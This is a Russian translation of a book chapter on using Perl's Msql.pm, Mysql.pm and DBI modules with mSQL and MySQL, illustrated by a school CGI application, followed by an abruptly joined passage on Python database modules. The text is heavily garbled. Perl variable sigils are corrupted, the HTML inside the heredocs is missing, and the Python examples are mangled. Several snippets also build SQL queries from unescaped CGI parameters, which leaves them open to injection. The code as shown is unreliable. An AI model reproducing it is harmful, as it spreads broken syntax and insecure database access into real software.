    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

